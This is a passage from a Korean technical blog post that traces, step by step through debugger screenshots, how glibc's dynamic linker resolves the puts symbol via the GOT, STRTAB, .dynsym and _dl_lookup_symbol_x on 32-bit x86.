&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkFYoP/btsGeuzJT75/p17R6twTpR5vFZ3MU5cn4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkFYoP/btsGeuzJT75/p17R6twTpR5vFZ3MU5cn4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkFYoP/btsGeuzJT75/p17R6twTpR5vFZ3MU5cn4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkFYoP%2FbtsGeuzJT75%2Fp17R6twTpR5vFZ3MU5cn4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;338&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax 레지스터에 들어있는 GOT 주소(0x804a00c)를 ebp로 옮긴다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;ebx+0xd(0x80481e9) 주소에 있는 값 0x00과 0x03을 and 연산하면 당연히 0이 나온다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;test 명령은 단순히 and 연산을 통해 0인지 아닌지만 검사하는데, 현재 test 명령의 결과는 0이고, 이는 ZF 플래그를 1로 설정하는데, jne 명령은 ZF 플래그가 0일 때 점프하므로 점프하지 않고 다음 라인의 명령을 수행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;이어서 edx 레지스터의 값이 0인지 and 연산을 하는데 같은 값을 and 연산하므로 1이 나오고 이는 ZF 플래그를 0로 설정하는데, je 명령은 ZF가 1일 때 점프하므로 점프하지 않고 다음 라인의 명령을 수행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;다음 라인에서는 edx+0x4(0x8049fc8)에 있는 값 0x8048266을 edx 레지스터에 넣는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csiZJn/btsGesWc3BP/F6UxKJnTa5cbv0xiVhW2v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csiZJn/btsGesWc3BP/F6UxKJnTa5cbv0xiVhW2v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csiZJn/btsGesWc3BP/F6UxKJnTa5cbv0xiVhW2v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsiZJn%2FbtsGesWc3BP%2FF6UxKJnTa5cbv0xiVhW2v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;168&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bigaCa/btsGd9vYVcP/uakKt5bjjbLdCkrznHMAuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bigaCa/btsGd9vYVcP/uakKt5bjjbLdCkrznHMAuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bigaCa/btsGd9vYVcP/uakKt5bjjbLdCkrznHMAuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbigaCa%2FbtsGd9vYVcP%2FuakKt5bjjbLdCkrznHMAuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;609&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;609&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;711&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKoSDV/btsGfzAjCTB/RkN0to0SWwSkaSr9z3Z301/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKoSDV/btsGfzAjCTB/RkN0to0SWwSkaSr9z3Z301/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKoSDV/btsGfzAjCTB/RkN0to0SWwSkaSr9z3Z301/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKoSDV%2FbtsGfzAjCTB%2FRkN0to0SWwSkaSr9z3Z301%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;711&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;711&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;이어서 edx+esi*2(0x8048268)에 있는 값 0x2를 edx에 넣고 0x20으로 만든 다음 edi+0x170(0xb7fffa88)에 있는 값 0xb7fd5480과 더해 0xb7fd54a0으로 만든 다음 edx 레지스터에 넣고, 0xb7fd54a0에 0x4를 더한 값 0xb7fd54a4 주소에 있는 0xd696910을 ecx에 넣고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;ecx 레지스터의 값이 0인지 test 명령으로 and 연산을 한 결과 같은 값을 and 연산했으므로 1이 되고, 이는 ZF 플래그를 0으로 만든다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그리고 cmove라는 명령어가 나오는데 &lt;a href=&quot;https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리&lt;/a&gt; 와 &lt;a href=&quot;https://sdosj.tistory.com/entry/무분기-로직&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://sdosj.tistory.com/entry/무분기-로직&lt;/a&gt;의 글을 참고하면 Cmp Move equal(==Zero)이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;즉, test 명령을 수행할 때 결과가 0이면 ecx의 값을 edx로 옮기는 것인데, test 명령 수행 결과가 1이므로 cmove 명령은 수행되지 않는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그리고는 ecx에 담긴 값을 test 명령으로 and 연산을 하는데, ecx 레지스터에는 0x0이 담겨있으므로 and 연산 결과 0이고, 이는 ZF 플래그를 1로 설정하는데 jne 명령은 ZF 플래그가 0으로 설정될 때 점프이므로 점프하지 않고 다음 라인의 명령을 수행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;esp+0xc 주소에 저장해뒀던 STRTAB의 주소와 ebx 레지스터에 있던 0x80481dc 주소에 있는 puts 문자열 offset 값을 더해 STRTAB에서 실제 puts 문자열의 주소 구하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cw6B6P/btsGeeKGNHA/eXqmMNXCXKLVlAv0laDKJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cw6B6P/btsGeeKGNHA/eXqmMNXCXKLVlAv0laDKJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cw6B6P/btsGeeKGNHA/eXqmMNXCXKLVlAv0laDKJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcw6B6P%2FbtsGeeKGNHA%2FeXqmMNXCXKLVlAv0laDKJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;373&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB의 주소(0x804821c)를 eax 레지스터에 옮긴 후 ebx 레지스터에 담긴 puts 함수의 offset 값과 더해 실제 STRTAB에서 puts 문자열의 주소(0x8048236)를 eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서 STRTAB에서 실제 puts 문자열의 주소를 구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;esp+0x1c 주소를 ecx 레지스터로 옮기기&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dk34OZ/btsGey26Bnz/FFuTPTGwHt5AuirGCKRciK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dk34OZ/btsGey26Bnz/FFuTPTGwHt5AuirGCKRciK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dk34OZ/btsGey26Bnz/FFuTPTGwHt5AuirGCKRciK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdk34OZ%2FbtsGey26Bnz%2FFFuTPTGwHt5AuirGCKRciK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;170&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 esp+0x1c 주소(0xbfffefb4)에 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)를 저장해뒀었는데 0x80481dc 주소가 담긴 esp+0x1c 주소를 ecx 레지스터로 옮긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;_dl_lookup_symbol_x 함수 호출 전 스택에 값 넣고 &lt;b&gt;_dl_lookup_symbol_x 함수&lt;/b&gt;&amp;nbsp;호출&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;407&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MAXhz/btsGecsyXjM/recsup3BwPvRCAhlq91Vd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MAXhz/btsGecsyXjM/recsup3BwPvRCAhlq91Vd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MAXhz/btsGecsyXjM/recsup3BwPvRCAhlq91Vd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMAXhz%2FbtsGecsyXjM%2Frecsup3BwPvRCAhlq91Vd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;407&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wv3pH/btsGeQPXNPV/9LockSONvI0Ka5ucN4tAz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wv3pH/btsGeQPXNPV/9LockSONvI0Ka5ucN4tAz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wv3pH/btsGeQPXNPV/9LockSONvI0Ka5ucN4tAz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWv3pH%2FbtsGeQPXNPV%2F9LockSONvI0Ka5ucN4tAz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;168&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RmF8i/btsGgcx6JUw/o5ACLCbHcfv4yD043osddK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RmF8i/btsGgcx6JUw/o5ACLCbHcfv4yD043osddK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RmF8i/btsGgcx6JUw/o5ACLCbHcfv4yD043osddK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRmF8i%2FbtsGgcx6JUw%2Fo5ACLCbHcfv4yD043osddK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;102&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;32&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wCglD/btsGdCSOGyp/lMG5oq6EeuiCgDKwdNPI60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wCglD/btsGdCSOGyp/lMG5oq6EeuiCgDKwdNPI60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wCglD/btsGdCSOGyp/lMG5oq6EeuiCgDKwdNPI60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwCglD%2FbtsGdCSOGyp%2FlMG5oq6EeuiCgDKwdNPI60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;32&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;32&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고는 스택에 0x0, 0x1, 0x1, 0xb7fd54a0를 넣고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;link_map의 주소(0xb7fff918)를 edx 레지스터에 넣고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;link_map의 주소로부터 0x1cc offset만큼 떨어진 곳에 있는 값 0xb7fffad0을 스택에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고는 _dl_lookup_symbol_x 함수를 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TSEXF/btsGdF9Sgs1/2o8ONe3iLkluC6NuGYDLTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TSEXF/btsGdF9Sgs1/2o8ONe3iLkluC6NuGYDLTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TSEXF/btsGdF9Sgs1/2o8ONe3iLkluC6NuGYDLTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTSEXF%2FbtsGdF9Sgs1%2F2o8ONe3iLkluC6NuGYDLTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;441&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_symbol_x 함수를 호출하기 직전에 레지스터와 스택을 보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax&amp;nbsp;=&amp;nbsp;STRTAB에서&amp;nbsp;puts&amp;nbsp;문자열의&amp;nbsp;실제&amp;nbsp;주소(0x8048236)&lt;br /&gt;ebx&amp;nbsp;=&amp;nbsp;.dynsym&amp;nbsp;테이블에서&amp;nbsp;puts에&amp;nbsp;해당하는&amp;nbsp;Elf32_Sym&amp;nbsp;구조체&amp;nbsp;형식의&amp;nbsp;값의&amp;nbsp;주소(0x80481dc)&lt;br /&gt;ecx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소가 들어있는 스택 주소(0xbfffefb4)&lt;br /&gt;edx,&amp;nbsp;edi&amp;nbsp;=&amp;nbsp;link_map의&amp;nbsp;주소(0xb7fff918)&lt;br /&gt;ebp&amp;nbsp;=&amp;nbsp;GOT&amp;nbsp;주소(0x804a00c)&lt;br /&gt;esi&amp;nbsp;=&amp;nbsp;0x1&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esp+0x2c(0xbfffefa4) = 0x804821c(STRTAB의&amp;nbsp;주소)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esp+0x3c(0xbfffefb4) = 0x80481dc(.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소로 puts 문자열의 offset 값이 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;_dl_lookup_symbol_x 함수 디스어셈블&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;35&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckVhY0/btsGdE4b1Wy/LLjkk0caRZu4h5heK4z11K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckVhY0/btsGdE4b1Wy/LLjkk0caRZu4h5heK4z11K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckVhY0/btsGdE4b1Wy/LLjkk0caRZu4h5heK4z11K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckVhY0%2FbtsGdE4b1Wy%2FLLjkk0caRZu4h5heK4z11K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;35&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;35&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;815&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/znzWK/btsGdFWonQL/ncNtPbSod7b0R7ZURFHCjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/znzWK/btsGdFWonQL/ncNtPbSod7b0R7ZURFHCjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/znzWK/btsGdFWonQL/ncNtPbSod7b0R7ZURFHCjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FznzWK%2FbtsGdFWonQL%2FncNtPbSod7b0R7ZURFHCjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;815&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;815&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;559&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwezgi/btsGeStvkJG/dFJLGXGhwgKgR4rJGKFjI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwezgi/btsGeStvkJG/dFJLGXGhwgKgR4rJGKFjI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwezgi/btsGeStvkJG/dFJLGXGhwgKgR4rJGKFjI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdwezgi%2FbtsGeStvkJG%2FdFJLGXGhwgKgR4rJGKFjI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;559&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;559&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_symbol_x 함수는 lob 환경에서와 비교했을 때 함수 이름도 다를 뿐더러 라인 수도 더 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;_dl_lookup_symbol_x&lt;span&gt; 함수는 lob 환경에서 호출했던 _dl_lookup_versioned_symbol 함수와는 이름이 다르지만 구해오는 값은 같다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;symtab의 주소와 lib의 주소를 얻어온다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;_dl_lookup_symbol_x&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수&lt;/span&gt;를 끝내고 fixup 함수로 복귀&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
